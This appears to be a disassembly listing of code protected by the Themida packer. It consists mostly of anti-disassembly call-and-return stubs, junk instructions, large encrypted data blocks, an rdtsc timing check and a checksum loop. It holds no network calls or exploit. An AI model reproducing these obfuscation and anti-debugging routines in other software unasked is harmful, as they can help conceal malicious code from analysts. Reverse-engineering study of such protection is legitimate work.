		pop	ebp
		sub	ebp, 619F97Ah
		push	0
		push	ebx
		call	sub_5C93BB
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C93BB	proc near		; CODE XREF: Themida_:005C93B3p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5C93BB	endp

; ---------------------------------------------------------------------------
		cmpsd
		pushf
		daa
		xor	[ebp+6151A35h],	ecx
		push	0
		push	ebp
		call	sub_5C93DF
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C93DF	proc near		; CODE XREF: Themida_:005C93D7p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5C93DF	endp

; ---------------------------------------------------------------------------
		db 0B8h
		dd 53755C4Eh, 819FF369h, 0F3A55EBh, 1853117h, 8D06151Dh
		dd 1888F985h, 29BD8B06h, 90061517h, 8E8h, 0BD0A7900h, 5A3C799Dh
		dd 11E903h, 3D6A0000h, 0F765DE6Bh, 41A50910h, 97668C0Eh
		dd 5B883F3Eh, 8E950h, 0C190000h, 0C34CB249h, 64906F9Dh
		dd 35FFh, 0B70F0000h, 258964F8h, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5C945F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C945F	proc near		; CODE XREF: Themida_:005C9457p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5C945F	endp

; ---------------------------------------------------------------------------
		db 13h
		dd 8ED747EEh, 0FFFD2738h, 15153585h, 0FF6AF906h, 66DABF0Fh
		dd 2E1BD781h, 3375B5FFh, 6A0615h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0C0FD84C3h, 2B4D6D13h
		dd 0FABFDF8Bh, 0FF157DC0h, 1508BD95h, 0F5E906h,	9D890000h
		dd 6150D01h, 0B8B300B0h, 9E870E6h, 0F9000000h, 84AE97D6h
		dd 875BD615h, 8971E45Bh, 1519CD95h, 0F613C06h, 0CA83h
		dd 0FF88B00h, 8589C8B6h, 61525C9h, 26C59D8Bh, 6BA0615h
		dd 1000000h, 1528B1BDh,	81C18B06h, 31CCCCFh, 4E8C134h
		dd 0F766CAB3h, 0F0F781E2h, 2B40B4F3h, 0F5D18BC8h, 21CDBD8Bh
		dd 88E90615h, 8B000000h, 15115DBDh, 44858B06h, 8B5F4C4Ch
		dd 15135DBDh, 7C08306h,	0C2B70F60h, 2685B58Bh, 83610615h
		dd 0BD2300C0h, 6152E5Dh, 830FD03Bh, 1Fh, 7810Fh, 66500000h
		dd 994ED781h, 6820F5Fh,	81000000h, 86CD8CD7h, 39E97Fh
		dd 8BF90000h, 0FFFFFF8Dh, 0F8CF81FFh, 8932D607h, 15033185h
		dd 1E18306h, 1D840Fh, 0A5830000h, 0FFFFFFFFh, 0C18531FEh
		dd 89061528h, 4C4C4495h, 0F703BF5Fh, 0E919B6h, 8D000000h
		dd 1971A4B5h, 0CE906h, 0D3D00000h, 66B47F2Bh, 0B514320Fh
		dd 6A8764h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 17h,	6AC35141h, 0E8A9C338h, 0Dh, 0BCFAD22Bh,	2F67FB1Ch
		dd 0A799FA31h, 5FFE8B75h, 10E8h, 0FBFCCE00h, 495DF507h
		dd 0CDDBD521h, 1621D88Ah, 599D8BD1h, 5B061522h,	2E2195FFh
		dd 0B5890615h, 6152EE1h, 0FE8B9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 4AC343F1h
		dd 86763347h, 0ADBD8B24h, 83061507h, 0BD2BFCE1h, 6151DDDh
		dd 56006AFCh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 1F8A6A03h, 82350470h, 8B0F5713h,	8, 69BD2952h
		dd 5F06152Dh, 28DDB589h, 0C02B0615h, 0BAh, 3D9D8900h, 8906151Ah
		dd 15251DBDh, 0C233AD06h, 0D003E8D1h, 7504E983h, 820FF4h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0C3CEC357h, 880DE7h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 81668AC3h, 0E89E53C7h, 0Eh, 0F9E7CE84h, 0BC11F4F7h
		dd 6864C8FDh, 8B5B30FEh, 15272195h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0C463B828h
		dd 0F9F7E443h, 28CD9501h, 8D8B0615h, 61504CDh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 21C35545h, 8C20FED8h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	6A5818h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0E9FCA2C3h, 0Dh, 0A0239B6Bh,	3F69A70Dh, 8DDDA6CDh, 0A9BD8333h
		dd 61518h, 73840Fh, 0B5890000h,	615182Dh, 0B8h,	11BD8B00h
		dd 8D061500h, 154F9E8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0BD89296Dh, 6150C6Dh
		dd 0E1FFDF8Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	9AC35040h, 8166F8DBh, 0F98E9EBh, 687h, 23EF8100h
		dd 8B282498h, 1503C59Dh, 15BD8306h, 61511h, 3E7840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 1786FBC3h, 0BD9D8B11h, 9061506h, 152FF5B5h, 15BD8306h
		dd 1061511h, 3CA840Fh, 8B660000h, 15BD83DEh, 3061511h
		dd 384860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 2C086C3h, 0F9D11EA2h, 9D23C2A9h
		dd 615047Dh, 56006A60h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 8D894DFAh, 61501ADh, 8C66DD8Ah, 0DBB70FD9h
		dd 6A04E180h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0D898C353h, 6FC2E8FFh,	54CF723Bh
		dd 0D4D977BBh, 0FC90A01h, 10384h, 0F98B6600h, 249D858Bh
		dd 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0E7E1CEC3h, 63952812h, 85333F53h,	61519B5h
		dd 1C81BD2Bh, 0C7810615h, 1BF1B014h, 0ABF50h, 48974C1h
		dd 50006A24h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 8E3B6BC8h, 942D3394h, 6A006AE8h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 40F7C351h, 66579BFBh, 685BFE8Bh, 9B7E4E70h, 81DA8B66h
		dd 0B58F2404h, 6A64A0h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 809DFAC3h, 57C14708h, 179BD8Bh
		dd 0FF5F0615h, 150DAD95h, 3FBB6606h, 99858963h,	6A0618BFh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 20EAC353h, 0D19D8BF8h, 0E9061518h, 18Ah
		dd 0BF91858Bh, 0BD230618h, 6150CADh, 1800C7h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 8B525BC3h, 18BF95B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 30129F05h, 9A109216h
		dd 5E8C297h, 1000000h, 4AD1F1BAh, 1D0D8589h, 8B5F0615h
		dd 1508219Dh, 45858B06h, 6A06150Ch, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0F8CBC357h
		dd 0D625D687h, 89F94FEBh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0B5894EF6h
		dd 6152A8Dh, 249D858Bh,	0B70F0615h, 44689F9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0CEC35747h, 5576D0E4h
		dd 807E2339h, 6E915CFh,	49000000h, 0BE1186DDh, 8B6650C0h
		dd 243489D9h, 2840Fh, 0D88B0000h, 0BF91B5FFh, 0BD8B0618h
		dd 6152681h, 0CBB68C68h, 0CE906h, 62760000h, 0FD1C3EA2h
		dd 1A520168h, 348186A2h, 0D4B57324h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 2FBADFEEh
		dd 29DBBF0Fh, 1507E18Dh, 99858D06h, 310618BFh, 15134D8Dh
		dd 800F9006h, 2, 66505B56h, 6690DE8Bh, 0BB66FA8Bh, 95FF0ACEh
		dd 6150DADh, 28E5BD8Bh,	29610615h, 151A0595h, 1585C706h
		dd 3061511h, 89000000h,	15229D8Dh, 858B6006h, 6151315h
		dd 99BD8361h, 618BFh, 40840Fh, 6A0000h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 2BDEB9C3h
		dd 803FD8D8h, 32E9C8F7h, 8A000000h, 9E8D8h, 0AD330000h
		dd 1B4309C6h, 89F01DD5h, 15119595h, 30505F06h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 52006AC0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h
		dd 1904h, 0C3524200h, 29F84D68h, 6A66C2h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 7F9609C3h
		dd 0FD8D3109h, 89061514h, 1514B185h, 15BD8306h,	3061511h
		dd 462850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0BD898AC3h, 6150815h, 0BF99BD83h
		dd 0F000618h, 43384h, 998D8900h, 0FF061505h, 18BF99B5h
		dd 4DBF6606h, 0CD9D8979h, 0FF06150Ah, 1510E195h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0A0D40C8Eh, 0B58B54D4h, 618BF8Dh, 13158D89h,	6C70615h
		dd 10001h, 9E950F5h, 44000000h,	2BC52750h, 138F9699h, 8B243489h
		dd 99B5FFF9h, 290618BFh, 151E0D9Dh, 0A195FF06h,	6A061506h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 5424C352h, 0CA34342Eh, 6632BCD0h,	37BCB81h
		dd 0BF8DB58Bh, 6A0618h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 1594D8C3h, 57193CE6h, 0FB64ED2h
		dd 586h, 0CF816600h, 858B43BDh,	6150059h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 17h, 0C4C35343h, 89A3A059h
		dd 0C486h, 35B50100h, 8B061530h, 15272195h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 1D16C548h, 0FDE14433h, 9589645Bh, 61516E1h, 6604C283h
		dd 5089FA8Bh, 55006A20h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 8DB06746h, 18D45885h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 3243EAADh, 0E8F43020h, 0CE9h, 7F65D600h, 1923220Eh
		dd 0E904246Ch, 89DE8BD8h, 0B886h, 6AF800h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0F9C35343h, 0F5913D68h
		dd 178F0Fh, 12E90000h, 6000000h, 0E364D103h, 22A91906h
		dd 0B3F3DDA4h, 0A16C4490h, 0FFF88B6Ch, 18BF99B5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 168276C7h, 95FF50B3h, 6151D4Dh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 45C35242h, 0A4174325h, 0AE9F0h
		dd 0CB2E0000h, 6F73470Ah, 8DC41582h, 24CD9D8Bh,	66960615h
		dd 0F50D98Bh, 289h, 96F98B00h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 26C35747h, 26E97AB6h, 3A57B103h
		dd 0FFDA8B66h, 18BF99B5h, 0A59D2906h, 0FF061517h, 15072995h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 0FDA033B9h, 0AC4235C4h, 899D8B8Eh, 8306150Dh
		dd 150065BDh, 840F0006h, 21h, 5E9h, 79731900h, 0E996B9BAh
		dd 8, 0BB864767h, 29C3B808h, 96FB8B50h,	0BECF8166h, 99B5FFD2h
		dd 6A0618BFh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 5C90C351h, 8B66A497h, 3995FFF8h
		dd 6A061504h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0E85CC356h, 0BF99B5FFh, 9D8B0618h
		dd 6152F2Dh, 0DCD95FFh,	5E90615h, 0B3000000h, 986F29DFh
		dd 285DBD83h, 0F020615h, 9F84h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 75C9C66Dh
		dd 6E20D09Eh, 8BD98BA0h, 15284985h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0F77D1F4h
		dd 666030BDh, 0E8754DBBh, 12h, 0A505031Ah, 0ACFCB935h
		dd 0F4A34180h, 2E3603DDh, 0BD8B34C6h, 61526D1h,	9D8B615Ah
		dd 61522D9h, 6A0000C6h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 8D02C353h, 4CF3C8B2h
		dd 1B05D1B2h, 23F585C7h, 615h, 6A0000h,	3E852h,	5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 1869D6C3h
		dd 22F7E7ECh, 0AE9B2h, 37050000h, 0FCE9707Ah, 49E01FCh
		dd 0FFF361E9h, 53006AFFh, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 6AC18B08h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 9367C352h
		dd 0DBD0BFF8h, 8B0F6ABEh, 0
; ---------------------------------------------------------------------------
		mov	di, dx
		lea	eax, [ebp+615279Dh]
		push	0
		push	esi
		call	sub_5CA178
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA178	proc near		; CODE XREF: Themida_:005CA170p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5CA178	endp

; ---------------------------------------------------------------------------
		ja	short near ptr byte_5CA1F3
		das
		retn
; ---------------------------------------------------------------------------
		push	ss
		xor	ecx, [ebx+1508159Dh]
		push	es
		sbb	bl, 0D4h
		push	eax
		pusha
		push	eax
		call	sub_5CA1A8
		imul	edi, esi, 3A747h
		das
		jo	short loc_5CA21C

; =============== S U B	R O U T	I N E =======================================



sub_5CA1A8	proc near		; CODE XREF: Themida_:005CA19Ap

arg_24		= dword	ptr  28h

		pop	esi
		pop	edx
		popa
		mov	[esp-28h+arg_24], eax
		push	0
		push	ebx
		call	sub_5CA1B9
		and	[ebx-3Dh], bl
sub_5CA1A8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5CA1B9	proc near		; CODE XREF: sub_5CA1A8+9p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5CA1B9	endp

; ---------------------------------------------------------------------------
		and	ebx, [edx+ebp*2+0]
		push	0
		push	ebp
		call	sub_5CA1D8
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA1D8	proc near		; CODE XREF: Themida_:005CA1D0p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5CA1D8	endp

; ---------------------------------------------------------------------------
		dd 16407C46h, 352B51E2h
		db 0E8h, 10h, 0
byte_5CA1F3	db 0			; CODE XREF: Themida_:005CA188j
		dd 0F23BEF00h, 8AB59AFEh, 0AF95FCD0h, 8356FA2Ch, 399529D6h
		dd 5F061509h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h
; ---------------------------------------------------------------------------


loc_5CA21C:				; CODE XREF: Themida_:005CA1A6j
		and	al, 4
		add	dword ptr [esp+4], 1Bh
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		db 0BFh, 0C9h, 0Ch
		dd 5584719h, 6810F2Ch, 89000000h, 1534798Dh, 4B858D06h
		dd 0F9061A09h, 9799D89h, 0C0830615h, 0CF816605h, 50908A0Fh
		dd 0F5B5252h, 0E3D3BF31h, 585A0864h, 0FE8B6650h, 55006A90h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 810FCD6Dh, 2, 6ADE8Ah, 6AF88B66h, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 22CA5ED4h
		dd 9E887h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5CA2B6:				; DATA XREF: Themida_:0057C918o
		sbb	byte ptr [ecx-4Ch], 0A8h
		leave
		push	edi
		add	bl, [edi]
		js	short near ptr loc_5CA324+2
		mov	ebx, 0FF5BCD61h
		xchg	eax, ebp
		jns	short loc_5CA2EE
		adc	eax, 0E99D8906h
		db	2Eh
		adc	eax, 158D8D06h
		pushf
		sbb	[esi], al
		mov	edi, [ebp+61533D9h]
		jmp	loc_5CA2EE
; ---------------------------------------------------------------------------
		sbb	ebp, [eax]
		add	al, 0ADh
		inc	ecx
		mov	byte ptr [ebp-193E450Fh], 20h
		movsb


loc_5CA2EE:				; CODE XREF: Themida_:005CA2C6j
					; Themida_:005CA2DCj
		call	ecx
		cmc
		cmp	dword ptr [ebp+6152DB5h], 1
		jnz	loc_5CA37A
		push	0
		push	eax
		call	sub_5CA309
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA309	proc near		; CODE XREF: Themida_:005CA301p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5CA309	endp

; ---------------------------------------------------------------------------
		db 9Ah,	0ECh, 69h
; ---------------------------------------------------------------------------
		mov	byte ptr ds:6A026AFDh, 0
		push	edi


loc_5CA324:				; CODE XREF: Themida_:005CA2BEj
		call	sub_5CA32C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA32C	proc near		; CODE XREF: Themida_:loc_5CA324p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5CA32C	endp

; ---------------------------------------------------------------------------
		inc	esi
		mov	edi, [ebp+615024Dh]
		push	eax
		push	eax
		push	edx
		jmp	loc_5CA355
; ---------------------------------------------------------------------------
		db 9Dh
		dd 9B7EB3A1h, 146F55F4h
; ---------------------------------------------------------------------------
		push	eax


loc_5CA355:				; CODE XREF: Themida_:005CA346j
		rdtsc
		jge	loc_5CA360
		mov	di, dx


loc_5CA360:				; CODE XREF: Themida_:005CA357j
		pop	edx
		pop	eax
		mov	[esp], eax
		jnp	$+6
		call	dword ptr [ebp+6151D4Dh]
		jno	loc_5CA37A
		movzx	ebx, bx


loc_5CA37A:				; CODE XREF: Themida_:005CA2F8j
					; Themida_:005CA371j
		jmp	loc_5CB025
; ---------------------------------------------------------------------------


loc_5CA37F:				; DATA XREF: Themida_:0057A114o
		call	$+5
		pop	ebp
		sub	ebp, 61A0955h
		movsx	edi, si
		push	0
		push	ecx
		call	sub_5CA399
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA399	proc near		; CODE XREF: Themida_:005CA391p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5CA399	endp

; ---------------------------------------------------------------------------
		xor	ds:49ED74B4h, al
		mov	[ebp+61506E5h],	ebx
		lea	eax, [ebp+61888F9h]
		push	0
		push	eax
		call	sub_5CA3C6
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA3C6	proc near		; CODE XREF: Themida_:005CA3BEp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5CA3C6	endp

; ---------------------------------------------------------------------------
		dw 3CE5h
		dd 0CF711286h, 81112B5Dh, 765CFAD3h, 8C0F501Fh,	2, 489FE8Bh
		dd 0FD9D2924h, 6406152Eh, 35FFh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0F2447C3h
		dd 389h, 0B3C78000h, 258964h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 96C3C357h
		dd 48A0Fh, 0BB660000h, 9D33FD57h, 61528E1h, 153585FFh
		dd 0B5890615h, 61502BDh, 6AFF6Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0FF2EBEC3h, 150009B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 2B6CE3AAh, 1526F99Dh, 0BD95FF06h, 0E9061508h
		dd 0FEh, 0B0DF8Bh, 2ABD9D89h, 70E60615h, 2459BD31h, 71E40615h
		dd 0F613CF5h, 0E183h, 8E800h, 6EA80000h, 0A94B5258h, 8F0F7E5Ch
		dd 6, 10D1BD29h, 0F5F0615h, 8166C8B6h, 8B1D3FEFh, 150AE1BDh
		dd 6BA06h, 820F0000h, 6, 1558D89h, 0C18B0615h, 14B59589h
		dd 0E8C10615h, 2DBD2B04h, 66061510h, 0BD8BE2F7h, 6151735h
		dd 0C4B7C82Bh, 0E9F9D18Bh, 82h,	699BD8Bh, 858B0615h, 47554C50h
		dd 13899D8Bh, 0C0830615h, 1BD8907h, 8306150Eh, 0B50900C0h
		dd 6150519h, 0D6E8BF66h, 830FD03Bh, 10h, 0CE24F8BBh, 48E929h
		dd 9D310000h, 6152AEDh,	0FFFF8D8Bh, 0E183FFFFh,	33840F01h
		dd 29000000h, 15212185h, 0FFA58306h, 0FEFFFFFFh, 89FA8B66h
		dd 554C5095h, 0FE847h, 58200000h, 37918F84h, 97424EE6h
		dd 760CD07Ah, 95F380A9h, 0E95Fh, 0B58D0000h, 619818Ch
		dd 232D8D29h, 6A0615h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 32C35242h, 0E9C3563Ah, 13h, 5539FFAFh
		dd 3542F4D2h, 0B85F5A70h, 5132FAD0h, 0FF39585Bh, 152E2195h
		dd 0CBB9F806h, 6000000Eh, 0E9F28B66h, 14h, 46D7CF0Bh, 43BE92ACh
		dd 0C2C37BA6h, 0FD764888h, 5217714Ah, 0FCE18361h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0D8C35343h, 7D6EA7ECh
		dd 80F33C60h, 0D58D898Eh, 66061527h, 0A6DFDB81h, 0C02BF8FCh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0D4C35040h
		dd 0BAE9FA21h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5CA68B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA68B	proc near		; CODE XREF: Themida_:005CA683p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5CA68B	endp

; ---------------------------------------------------------------------------
		sbb	[edi+4Bh], dl
		cld
		inc	esi
		jmp	loc_5CA6B3
; ---------------------------------------------------------------------------
		db 0E7h, 6Ah, 0E6h
		dd 2280375Bh, 0D1195ED5h
		db 0A2h, 0CBh, 0AEh
; ---------------------------------------------------------------------------


loc_5CA6B3:				; CODE XREF: Themida_:005CA6A0j
					; Themida_:005CA6BDj
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5CA6B3
		push	0
		push	ebx
		call	sub_5CA6CA
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA6CA	proc near		; CODE XREF: Themida_:005CA6C2p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5CA6CA	endp

; ---------------------------------------------------------------------------
		dw 0DC87h
		dd 0E8068C2Eh, 10h
dword_5CA6E4	dd 3C086FD9h, 736F4ADBh, 0D59F3EF7h, 9FFF2529h,	26259D89h
					; DATA XREF: Themida_:0057AE44o
		dd 895F0615h, 151415BDh, 880D06h, 8E90000h, 0DC000000h
		dd 5D1D503Ah, 8B3D2121h, 15272195h, 0C381F906h,	5AAA6D0h
		dd 4CD8D8Bh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 73EB5AC3h, 9B9510B3h, 8B500BA5h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0E6C35646h, 800FAA05h
		dd 6, 2275BD23h, 9D230615h, 61512FDh, 6AD9B70Fh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0E853C353h, 71AA30D6h, 0F83EAF77h, 18A9BD83h, 0F000615h
		dd 7884h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0CD9D095Bh, 0B806152Dh, 0
; ---------------------------------------------------------------------------
		mov	edi, ecx
		clc
		lea	ecx, [ebp+6154F9Eh]
		push	0
		push	edi
		call	sub_5CA7FC
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA7FC	proc near		; CODE XREF: Themida_:005CA7F4p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5CA7FC	endp

; ---------------------------------------------------------------------------
		dd 6AE1FFE9h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 47DC351h, 0CF593D60h, 81E8ADB5h
		dd 28E01DCBh, 15BD837Fh, 61511h, 3A0840Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 8337ACC3h, 151115BDh, 840F0106h, 391h, 8353F380h, 151115BDh
		dd 860F0306h, 34Bh, 6A60F5h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0F529C5C3h, 9CF791CFh
		dd 58D0F97h, 66000000h,	0EB5D781h, 1D19B589h, 8C660615h
		dd 41BD89D9h, 80061523h, 6A04E1h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0E69E93C3h, 287372B7h
		dd 0E99FD14Ch, 12h, 9415D25Ch, 98594C10h, 0F4B03EEEh, 0DD37AE68h
		dd 8D09A154h, 61507C1h,	840FC90Ah, 0E9h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 14h, 0D3C35040h, 2379B589h
		dd 8B600615h, 1525D585h, 858B6106h, 615249Dh, 0B58533F8h
		dd 0E9061519h, 7, 0B0B28557h, 90C6DBB8h, 48C0F51h, 66000000h
		dd 5B445ABBh, 6A9050h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 5F134AC3h, 0C3AAAA7Bh, 7EBB66A3h
		dd 999D8B62h, 6A06151Dh, 0E343BF00h, 0BD8B289Eh, 61505D5h
		dd 73743868h, 7BF6623h,	2434815Dh, 236C77C7h, 1605BD0Bh
		dd 0BD8B0615h, 615167Dh, 0DAD95FFh, 6A0615h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0DF2A97C3h
		dd 0BF998589h, 9D890618h, 6150FD5h, 16DE9h, 0DBD8B00h
		dd 3106152Fh, 151A558Dh, 91858B06h, 6A0618BFh, 3E85000h
